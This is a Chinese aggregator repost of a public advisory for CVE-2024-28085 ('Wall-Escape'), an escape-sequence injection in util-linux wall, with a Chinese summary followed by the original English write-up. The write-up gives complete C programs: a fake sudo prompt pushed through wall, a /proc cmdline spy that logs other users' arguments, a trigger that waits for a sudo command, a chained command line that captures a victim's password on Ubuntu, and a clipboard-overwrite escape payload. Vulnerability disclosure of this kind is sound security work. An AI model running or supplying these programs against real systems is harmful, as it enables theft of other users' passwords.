The Exploit Database - CXSecurity.com 2024年07月05日
util-linux wall Escape Sequence Injection
index_new5.html
../../../zaker_core/zaker_tpl_static/wap/tpl_guoji1.html

 

Wall-Escape 漏洞 (CVE-2024-28085) 存在于 util-linux 的 wall 命令中,该命令未对命令行参数中的 escape sequence 进行过滤,导致攻击者可以向其他用户终端发送任意文本,甚至窃取用户密码。该漏洞影响所有版本的 util-linux,包括 Ubuntu 22.04 和 Debian Bookworm。攻击者可以通过利用系统命令执行机制,在用户执行命令时伪造 sudo 界面,从而诱骗用户输入密码,并通过监控 /proc/$pid/cmdline 文件获取密码。

🤔 **漏洞原理:** Wall-Escape 漏洞存在于 util-linux 的 wall 命令中,该命令未对命令行参数中的 escape sequence 进行过滤。攻击者可以利用 escape sequence 向其他用户终端发送任意文本,包括控制终端显示、修改剪贴板等。

🤯 **攻击流程:** 攻击者可以通过以下步骤窃取用户密码: 1. 攻击者使用 wall 命令向用户终端发送一个伪造的 sudo 提示符,并设置一个特定的 escape sequence 来隐藏用户输入的密码。 2. 用户执行一个不存在的命令,系统会调用 command-not-found 或类似的命令,并将用户输入的密码作为参数传递给该命令。 3. 攻击者通过监控 /proc/$pid/cmdline 文件获取用户输入的密码。 4. 攻击者还可以利用 escape sequence 修改用户的剪贴板,窃取敏感信息。

🛡️ **影响范围:** 该漏洞影响所有版本的 util-linux,包括 Ubuntu 22.04 和 Debian Bookworm。如果系统上 wall 命令设置为 setgid,并且用户启用了 mesg 功能,那么攻击者就可以利用该漏洞攻击用户。

💡 **防御措施:** 用户可以采取以下措施来防御该漏洞: 1. 禁用 wall 命令:如果用户不需要使用 wall 命令,可以将其禁用。 2. 修改 wall 命令的权限:将 wall 命令的权限设置为非 setgid,这样攻击者就无法利用该漏洞向用户终端发送任意文本。 3. 关闭 mesg 功能:用户可以关闭 mesg 功能,这样攻击者就无法向用户终端发送消息。 4. 使用安全软件:使用安全软件可以帮助用户检测和防御该漏洞。

😈 **攻击者利用场景:** 攻击者可以利用该漏洞进行以下攻击: 1. 窃取用户密码:攻击者可以利用该漏洞窃取用户密码,并用于登录用户账户或进行其他恶意操作。 2. 窃取敏感信息:攻击者可以利用该漏洞窃取用户的敏感信息,例如剪贴板中的内容。 3. 恶意代码执行:攻击者可以利用该漏洞将恶意代码注入到用户的终端,并执行恶意操作。

Wall-Escape (CVE-2024-28085)Skyler Ferrante: Escape sequence injection in util-linux wall=================================================================Summary=================================================================The util-linux wall command does not filter escape sequences fromcommand line arguments. The vulnerable code was introduced incommit cdd3cc7fa4 (2013). Every version since has beenvulnerable.This allows unprivileged users to put arbitrary text on otherusers terminals, if mesg is set to y and wall is setgid. CentOSis not vulnerable since wall is not setgid. On Ubuntu 22.04 andDebian Bookworm, wall is both setgid and mesg is set to y bydefault.If a system runs a command when commands are not found, with theunknown command as an argument, the unknown command will beleaked. This is true of Ubuntu 22.04. Debian Bookworm does notleak unknown commands in its starting configuration.On Ubuntu 22.04, we have enough control to leak a users passwordby default. The only indication of attack to the user will be anincorrect password prompt when they correctly type theirpassword, along with their password being in their commandhistory.On other systems that allow wall messages to be sent, an attackermay be able to alter the clipboard of a victim. This works onwindows-terminal, but not on gnome-terminal.=================================================================Analysis=================================================================When displaying inputs from stdin, wall uses the functionfputs_careful in order to neutralize escape characters.Unfortunately, wall does not do the same for input coming fromargv.term-utils/wall.c (note that mvec is argv)/** Read message from argv[]*/int i;for (i = 0; i < mvecsz; i++) {fputs(mvec[i], fs);if (i < mvecsz - 1)fputc(' ', fs);}fputs("\r\n", fs);.../** Read message from stdin.*/while (getline(&lbuf, &lbuflen, stdin) >= 0)fputs_careful(lbuf, fs, '^', true, TERM_WIDTH);Since argv is attacker controlled, and can contain binary data,this is exploitable. A simple PoC command:wall $(printf "\033[33mHI")If you are vulnerable, this should show a broadcast with "HI"being yellow. If we instead run:echo $(printf "\033[33mHI") | wallThis should fail with "^[[33m" showing up before our message.To make sure the PoC will work, make sure your victim user canactually receive messages. First check that mesg is set to y(mesg y). If a user does not have mesg turned on, they are notexploitable.If you still can't receive messages, try running su user oraccessing the machine through SSH. Note that just because youcan't receive messages without first going through su/SSH, doesnot mean a user is not vulnerable.=================================================================Exploitation=================================================================Most distros allow argument data to be seen by unprivilegedusers, and some distros run commands when commands are not found.We can use this to leak a users password by tricking them intogiving their password as a command to run.When I run the command xsnow in my terminal, I get the followingoutput:Command 'xsnow' not found, but can be installed with:sudo apt install xsnowLets look at what new processes are created when I do this:-bash/usr/bin/python3 /usr/lib/command-not-found -- xsnow/usr/bin/snap advise-snap --format=json --command xsnowThis is on Ubuntu, but similar commands exist on other systems.As a simple demonstration let's create a fake sudo prompt forgnome-terminal, and then spy on /proc/$pid/cmdline.fake sudo prompt:#include<stdio.h>#include<unistd.h>int main(){char* argv[] = {"prog","\033[3A" // Move up 3"\033[K" // Delete prompt"[sudo] password for a_user:""\033[?25l"// Set forground RGB (48,10,36)// hide typing"\033[38;2;48;10;36m",NULL};char* envp[] = {NULL};execve("/usr/bin/wall", argv, envp);}cmdline spy:#include<stdio.h>#include<sys/types.h>#include<sys/stat.h>#include<fcntl.h>#include<unistd.h>#include<ctype.h>#include<stdlib.h>#include<dirent.h>#include<time.h>#define USLEEP_TIME 2000int main(){pid_t current_max_pid = 0, next_max_pid;char current_file_name[BUFSIZ];char buf[BUFSIZ];DIR* proc_dir;struct dirent *dir_e;int curr_e_fp;while(1){proc_dir = opendir("/proc");if(!proc_dir)abort();usleep(USLEEP_TIME);while((dir_e = readdir(proc_dir)) != NULL){char* d_name = dir_e->d_name;// If not a digit (not a process folder)if(!isdigit(*d_name))continue;int num = atoi(d_name);if(num > current_max_pid){next_max_pid = num;}else{continue;}snprintf(current_file_name,sizeof(current_file_name), "%s%s%s", "/proc/", d_name, "/cmdline");curr_e_fp = open(current_file_name, O_RDONLY);int ra = read(curr_e_fp, buf, BUFSIZ-1);close(curr_e_fp);for(int i = 0; i<ra-1; i++)if(buf[i] == '\0') buf[i] = ' ';// guaranteed to be in-boundsbuf[ra-1] = '\n';write(1, buf, ra);}current_max_pid = next_max_pid;closedir(proc_dir);}}If we run the cmdline spy and the sudo password prompt, the usermay input their password as a command. It will look like thefollowing on Ubuntu:-bash/usr/bin/python3 /usr/lib/command-not-found -- SuperSecretPassword!/usr/bin/snap advise-snap --format=json --command SuperSecretPassword!Some distros, like Debian, do not seem to have a command likecommand-not-found by default. There does not seem to be a way toleak a users password in this case then, even though we can sendescape sequences to them.This works, but the user has no reason to expect a password pageat this point. Now that we have shown some exploitability, letstry and make it better.Imagine we run the cmdline spy in one terminal, and then inanother terminal we run sudo systemctl status cron.service.The spy will see the sudo process first, and then after the usertypes their password correctly they will see systemctl statuscron.service.sudo systemctl status cron.servicesystemctl status cron.serviceAn attacker could inject a password incorrect message as soon asthe second process starts (password correct). The user willassume they typed their password incorrectly and enter it again.watch for certain command#include<stdio.h>#include<sys/types.h>#include<sys/stat.h>#include<fcntl.h>#include<unistd.h>#include<ctype.h>#include<stdlib.h>#include<dirent.h>#include<time.h>#include<string.h>#define USLEEP_TIME 3000int main(int argc, char** argv){pid_t current_max_pid = 0, next_max_pid;char current_file_name[BUFSIZ];char buf[BUFSIZ];DIR* proc_dir;struct dirent *dir_e;int curr_e_fp;if(argc != 2){printf("Usage: prog search_string\n");return 1;}while(1){proc_dir = opendir("/proc");if(!proc_dir)abort();usleep(USLEEP_TIME);while((dir_e = readdir(proc_dir)) != NULL){char* d_name = dir_e->d_name;// If not a digit (not a process folder)if(!isdigit(*d_name))continue;snprintf(current_file_name,sizeof(current_file_name), "%s%s%s", "/proc/", d_name, "/cmdline");curr_e_fp = open(current_file_name, O_RDONLY);int ra = read(curr_e_fp, buf, BUFSIZ-1);close(curr_e_fp);for(int i = 0; i<ra-1; i++)if(buf[i] == '\0') buf[i] = ' ';// guaranteed to be in-boundsbuf[ra-1] = '\0';// Check if proces is usif(strstr(buf, argv[0])){continue;}// Check against search stringif(!strcmp(buf, argv[1])){write(1, buf, ra);write(1, "\n", 1);return 0;}}closedir(proc_dir);}}Imagine our new spy code was compiled as watch, and our wallexploit was called throw.We can now run:./watch "sudo systemctl start sshd"; ./watch "systemctl start sshd";sleep .1; ./throwThe first two commands will wait until the user runssudo systemctl start sshdand correctly types their password for sudo. Then our wallexploit sends our fake sudo prompt. We need to sleep for a shortduration to make sure we cover up the command prompt.During this process, we need to make sure our original spy codeis logging all cmdline arguments, to recover the victims passwordExample log from original spy:./watch sudo systemctl start sshdsudo systemctl start sshd./watch systemctl start sshdsystemctl start sshdbash./throwbash/usr/bin/python3 /usr/lib/command-not-found -- SuperStrongPassword/usr/bin/snap advise-snap --format=json --command SuperStrongPasswordNow lets imagine a different style of attack. An attacker canchange a users clipboard through escape sequences on someterminals. For example, windows-terminal supports this. Gnometerminal does not.#include<stdio.h>int main(){printf("\033]52;c;QXR0YWNrZXIgbWVzc2FnZQo=\a");}Since we can send escape sequences through wall, if a user isusing a terminal that supports this escape sequence, an attackercan change the victims clipboard to arbitrary text.Further references:https://people.rit.edu/sjf5462/6831711781/wall_2_27_2024.txthttps://github.com/skyler-ferrante/CVE-2024-28085

Fish AI Reader

Fish AI Reader

AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。

FishAI

FishAI

鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑

联系邮箱 441953276@qq.com

相关标签

Wall-Escape CVE-2024-28085 util-linux escape sequence 密码窃取 安全漏洞
相关文章